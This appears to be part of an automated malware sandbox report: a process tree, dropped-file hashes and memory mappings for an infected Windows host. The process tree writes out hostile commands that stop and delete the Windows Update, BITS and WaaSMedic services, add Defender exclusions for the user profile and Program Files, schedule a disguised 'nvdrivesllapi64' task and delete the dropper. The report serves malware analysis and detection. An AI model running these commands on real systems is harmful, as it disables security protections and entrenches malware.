C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exe"2⤵
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#donzwdgx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "nvdrivesllapi64" } Else { "C:\Users\Admin\Locktime\nvdrivesllapi64.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn nvdrivesllapi643⤵
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1790524489164381768514574865791545749421-135115265-852223762-12015535341514574729"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1412935553-165524735-282810026-1826272192-267381238-901669593-2019901222-272665756"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
C:\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
C:\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
C:\Users\Admin\AppData\Local\Temp\1000009001\avicapn32.exeFilesize
7.3MB
MD5ae50461b518a30040f33bab3560683e8
SHA1b4abdf727194e3b3e4c73f93db2f308969884f2f
SHA256ee8b0c2ec8680a2fbffe5334b9eeaa2c9aa04edce22c8a30d8052e89fa26950e
SHA512fc5d4b4e6c93a728e17350dd83d4885bd9fa764002c533c6d13967cae98a6c66ff2742495eca9cf3aadcea312f9baf656f942bf44327817d8da405f4e6f042e8
-
C:\Users\Admin\AppData\Local\Temp\1000009001\avicapn32.exeFilesize
7.3MB
MD5ae50461b518a30040f33bab3560683e8
SHA1b4abdf727194e3b3e4c73f93db2f308969884f2f
SHA256ee8b0c2ec8680a2fbffe5334b9eeaa2c9aa04edce22c8a30d8052e89fa26950e
SHA512fc5d4b4e6c93a728e17350dd83d4885bd9fa764002c533c6d13967cae98a6c66ff2742495eca9cf3aadcea312f9baf656f942bf44327817d8da405f4e6f042e8
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
C:\Users\Admin\AppData\Roaming\1000006050\umciavi32.exeFilesize
7.2MB
MD5d121a0468485d70b575e278d407bb76e
SHA1aa632a96db84885afe0175cfaafbb7317d5fb0ac
SHA2564f87833cc0d928320ab86ca69a57515e1b3e589ca36430f513b4524acfda3325
SHA51259c046deab1c4e6bacd59e2b14c265af32450881a2dea4253655c0421c2bf0f4f0ed2d8bd7096c0683f76585f807e647f6a0faf344236a655ac69c9dfcc2540f
-
C:\Users\Admin\AppData\Roaming\1000006050\umciavi32.exeFilesize
7.2MB
MD5d121a0468485d70b575e278d407bb76e
SHA1aa632a96db84885afe0175cfaafbb7317d5fb0ac
SHA2564f87833cc0d928320ab86ca69a57515e1b3e589ca36430f513b4524acfda3325
SHA51259c046deab1c4e6bacd59e2b14c265af32450881a2dea4253655c0421c2bf0f4f0ed2d8bd7096c0683f76585f807e647f6a0faf344236a655ac69c9dfcc2540f
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD57870d9d4457da468f214ae29915e5acf
SHA1c21bfa5c728ef38f2924ae78818ed3ce7e8f469a
SHA25680ecaabe3881bb508182ac930492e165cf89351807ad027d324f9a45218bc64e
SHA512d43b9f6a9d270d938b5cfa78cc6510e2924409dcbfb54fe4890980fc390358c6d0055c8971a77280d9ffa8a9c1e9a6e7cad6f860bfd9bf7e100d5052075407c3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD57870d9d4457da468f214ae29915e5acf
SHA1c21bfa5c728ef38f2924ae78818ed3ce7e8f469a
SHA25680ecaabe3881bb508182ac930492e165cf89351807ad027d324f9a45218bc64e
SHA512d43b9f6a9d270d938b5cfa78cc6510e2924409dcbfb54fe4890980fc390358c6d0055c8971a77280d9ffa8a9c1e9a6e7cad6f860bfd9bf7e100d5052075407c3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD57870d9d4457da468f214ae29915e5acf
SHA1c21bfa5c728ef38f2924ae78818ed3ce7e8f469a
SHA25680ecaabe3881bb508182ac930492e165cf89351807ad027d324f9a45218bc64e
SHA512d43b9f6a9d270d938b5cfa78cc6510e2924409dcbfb54fe4890980fc390358c6d0055c8971a77280d9ffa8a9c1e9a6e7cad6f860bfd9bf7e100d5052075407c3
-
C:\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dllFilesize
5.0MB
MD524ece515d8082af9bbf326e17e9f0670
SHA19b7e8e37f2a27ee3c92835873e446686e6f0a723
SHA2568c0ea747424ac83b2392463cdd6d244a62cc3e0557476b5140e035c26e41bcbe
SHA512e1428917fd7e6643cbc2c561007164edfa7bb8599ffa736d4fdf2bf49b618101eb7a14c79bd250ede9a2a0afa0affe43194a3ace111b4c7c43d29a7e18f9a0e2
-
C:\Users\Admin\Locktime\nvdrivesllapi64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
C:\Users\Admin\Locktime\nvdrivesllapi64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\1000003062\syncfiles.dllFilesize
3.8MB
MD5f21fc025ebee72fcec06f8b873f28ba3
SHA1b110a0b82dc5c4895fda4437fbd0f5a1e66fa389
SHA2569f8120e8454c7788463ef7c0d4ea73c869f88e6210a8da45a76196dfcf837064
SHA512221cfaf773424d9076af5ce6c17f70ad3bb3125beb0a04fca8be2a8e65df7d1b6ec5c5ea8f3d05c819b9890a51eed9a4fee34e31ac11a2b1dc86df00f09b39fe
-
\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
\Users\Admin\AppData\Local\Temp\1000009001\avicapn32.exeFilesize
7.3MB
MD5ae50461b518a30040f33bab3560683e8
SHA1b4abdf727194e3b3e4c73f93db2f308969884f2f
SHA256ee8b0c2ec8680a2fbffe5334b9eeaa2c9aa04edce22c8a30d8052e89fa26950e
SHA512fc5d4b4e6c93a728e17350dd83d4885bd9fa764002c533c6d13967cae98a6c66ff2742495eca9cf3aadcea312f9baf656f942bf44327817d8da405f4e6f042e8
-
\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeFilesize
5.5MB
MD5dcded7ac014d98160a90789c615ae3cf
SHA1e1f14ffa121e6618aaa5760c91d129503f7656da
SHA2567c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
SHA512fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
\Users\Admin\AppData\Roaming\1000006050\umciavi32.exeFilesize
7.2MB
MD5d121a0468485d70b575e278d407bb76e
SHA1aa632a96db84885afe0175cfaafbb7317d5fb0ac
SHA2564f87833cc0d928320ab86ca69a57515e1b3e589ca36430f513b4524acfda3325
SHA51259c046deab1c4e6bacd59e2b14c265af32450881a2dea4253655c0421c2bf0f4f0ed2d8bd7096c0683f76585f807e647f6a0faf344236a655ac69c9dfcc2540f
-
\Users\Admin\AppData\Roaming\1000006050\umciavi32.exeFilesize
7.2MB
MD5d121a0468485d70b575e278d407bb76e
SHA1aa632a96db84885afe0175cfaafbb7317d5fb0ac
SHA2564f87833cc0d928320ab86ca69a57515e1b3e589ca36430f513b4524acfda3325
SHA51259c046deab1c4e6bacd59e2b14c265af32450881a2dea4253655c0421c2bf0f4f0ed2d8bd7096c0683f76585f807e647f6a0faf344236a655ac69c9dfcc2540f
-
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dllFilesize
5.0MB
MD524ece515d8082af9bbf326e17e9f0670
SHA19b7e8e37f2a27ee3c92835873e446686e6f0a723
SHA2568c0ea747424ac83b2392463cdd6d244a62cc3e0557476b5140e035c26e41bcbe
SHA512e1428917fd7e6643cbc2c561007164edfa7bb8599ffa736d4fdf2bf49b618101eb7a14c79bd250ede9a2a0afa0affe43194a3ace111b4c7c43d29a7e18f9a0e2
-
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dllFilesize
5.0MB
MD524ece515d8082af9bbf326e17e9f0670
SHA19b7e8e37f2a27ee3c92835873e446686e6f0a723
SHA2568c0ea747424ac83b2392463cdd6d244a62cc3e0557476b5140e035c26e41bcbe
SHA512e1428917fd7e6643cbc2c561007164edfa7bb8599ffa736d4fdf2bf49b618101eb7a14c79bd250ede9a2a0afa0affe43194a3ace111b4c7c43d29a7e18f9a0e2
-
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dllFilesize
5.0MB
MD524ece515d8082af9bbf326e17e9f0670
SHA19b7e8e37f2a27ee3c92835873e446686e6f0a723
SHA2568c0ea747424ac83b2392463cdd6d244a62cc3e0557476b5140e035c26e41bcbe
SHA512e1428917fd7e6643cbc2c561007164edfa7bb8599ffa736d4fdf2bf49b618101eb7a14c79bd250ede9a2a0afa0affe43194a3ace111b4c7c43d29a7e18f9a0e2
-
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dllFilesize
5.0MB
MD524ece515d8082af9bbf326e17e9f0670
SHA19b7e8e37f2a27ee3c92835873e446686e6f0a723
SHA2568c0ea747424ac83b2392463cdd6d244a62cc3e0557476b5140e035c26e41bcbe
SHA512e1428917fd7e6643cbc2c561007164edfa7bb8599ffa736d4fdf2bf49b618101eb7a14c79bd250ede9a2a0afa0affe43194a3ace111b4c7c43d29a7e18f9a0e2
-
\Users\Admin\Locktime\nvdrivesllapi64.exeFilesize
9.8MB
MD56065cf15064e8d0e6de0c7dc1d46048a
SHA1c82d4024ec5f5315a7526cb77a13d5f74a12b4b2
SHA25681df797a79b9139b30d94b3d6f9e982e65b3dd44b7f7e048a69f9c1713d5c392
SHA512d22d64df214470e26629b4099f3df2cb8a0a4ca1d55bee4f692a4aeb7679c8f39e88e31cc1fe3e3acd349b7efaa8f750d4ae2b84a3718278db136b07264e05ed
-
memory/268-126-0x0000000140000000-0x000000014114B000-memory.dmpFilesize
17.3MB
-
memory/268-127-0x0000000140000000-0x000000014114B000-memory.dmpFilesize
17.3MB
-
memory/268-152-0x0000000140000000-0x000000014114B000-memory.dmpFilesize
17.3MB
-
memory/268-216-0x0000000140000000-0x000000014114B000-memory.dmpFilesize
17.3MB
-
memory/268-121-0x0000000000000000-mapping.dmp
-
memory/316-86-0x0000000000000000-mapping.dmp
-
memory/360-205-0x0000000000000000-mapping.dmp
-
memory/368-125-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/368-141-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/368-149-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/368-118-0x0000000000000000-mapping.dmp
-
memory/420-250-0x0000000000830000-0x0000000000851000-memory.dmpFilesize
132KB
-
memory/420-275-0x00000000008E0000-0x0000000000907000-memory.dmpFilesize
156KB
-
memory/420-256-0x0000000036CF0000-0x0000000036D00000-memory.dmpFilesize
64KB
-
memory/420-255-0x000007FEBD9C0000-0x000007FEBD9D0000-memory.dmpFilesize
64KB
-
memory/420-262-0x0000000000830000-0x0000000000851000-memory.dmpFilesize
132KB
-
memory/436-65-0x0000000000000000-mapping.dmp
-
memory/436-68-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/436-73-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/436-79-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/464-264-0x0000000036CF0000-0x0000000036D00000-memory.dmpFilesize
64KB
-
memory/464-258-0x000007FEBD9C0000-0x000007FEBD9D0000-memory.dmpFilesize
64KB
-
memory/464-276-0x0000000000180000-0x00000000001A7000-memory.dmpFilesize
156KB
-
memory/472-85-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/472-122-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/472-76-0x0000000000419040-mapping.dmp
-
memory/480-286-0x0000000036CF0000-0x0000000036D00000-memory.dmpFilesize
64KB
-
memory/480-285-0x0000000000250000-0x0000000000277000-memory.dmpFilesize
156KB
-
memory/548-138-0x0000000001FE0000-0x00000000029F8000-memory.dmpFilesize
10.1MB
-
memory/548-103-0x0000000001FE0000-0x00000000029F8000-memory.dmpFilesize
10.1MB
-
memory/548-98-0x0000000001FE0000-0x00000000029F8000-memory.dmpFilesize
10.1MB
-
memory/548-89-0x0000000000000000-mapping.dmp
-
memory/548-97-0x0000000001FE0000-0x00000000029F8000-memory.dmpFilesize
10.1MB
-
memory/604-288-0x00000000004D0000-0x00000000004F7000-memory.dmpFilesize
156KB
-
memory/684-287-0x00000000004D0000-0x00000000004F7000-memory.dmpFilesize
156KB
-
memory/760-339-0x0000000000870000-0x0000000000897000-memory.dmpFilesize
156KB
-
memory/812-194-0x0000000000000000-mapping.dmp
-
memory/816-289-0x0000000000840000-0x0000000000867000-memory.dmpFilesize
156KB
-
memory/832-189-0x0000000000000000-mapping.dmp
-
memory/836-207-0x0000000000000000-mapping.dmp
-
memory/840-81-0x0000000000000000-mapping.dmp
-
memory/840-192-0x0000000000000000-mapping.dmp
-
memory/844-188-0x0000000000000000-mapping.dmp
-
memory/852-222-0x0000000000000000-mapping.dmp
-
memory/860-342-0x0000000000910000-0x0000000000937000-memory.dmpFilesize
156KB
-
memory/872-224-0x0000000000000000-mapping.dmp
-
memory/872-234-0x00000000010B4000-0x00000000010B7000-memory.dmpFilesize
12KB
-
memory/872-241-0x0000000076B90000-0x0000000076CAF000-memory.dmpFilesize
1.1MB
-
memory/872-235-0x00000000010BB000-0x00000000010DA000-memory.dmpFilesize
124KB
-
memory/872-232-0x000007FEF3060000-0x000007FEF3A83000-memory.dmpFilesize
10.1MB
-
memory/872-374-0x00000000010B4000-0x00000000010B7000-memory.dmpFilesize
12KB
-
memory/872-376-0x00000000010BB000-0x00000000010DA000-memory.dmpFilesize
124KB
-
memory/872-377-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/872-237-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/872-236-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/872-233-0x000007FEF2500000-0x000007FEF305D000-memory.dmpFilesize
11.4MB
-
memory/884-344-0x0000000000470000-0x0000000000497000-memory.dmpFilesize
156KB
-
memory/904-221-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
-
memory/904-219-0x000007FEEE740000-0x000007FEEF29D000-memory.dmpFilesize
11.4MB
-
memory/904-218-0x000007FEF26C0000-0x000007FEF30E3000-memory.dmpFilesize
10.1MB
-
memory/904-220-0x0000000002564000-0x0000000002567000-memory.dmpFilesize
12KB
-
memory/904-226-0x000000000256B000-0x000000000258A000-memory.dmpFilesize
124KB
-
memory/904-225-0x0000000002564000-0x0000000002567000-memory.dmpFilesize
12KB
-
memory/936-214-0x0000000000000000-mapping.dmp
-
memory/960-59-0x0000000000419040-mapping.dmp
-
memory/960-67-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/960-63-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/984-185-0x0000000000000000-mapping.dmp
-
memory/984-247-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1020-213-0x0000000140001938-mapping.dmp
-
memory/1036-195-0x0000000000000000-mapping.dmp
-
memory/1140-204-0x0000000000000000-mapping.dmp
-
memory/1160-154-0x0000000000400000-0x00000000012DA000-memory.dmpFilesize
14.9MB
-
memory/1160-130-0x0000000000000000-mapping.dmp
-
memory/1160-153-0x0000000000400000-0x00000000012DA000-memory.dmpFilesize
14.9MB
-
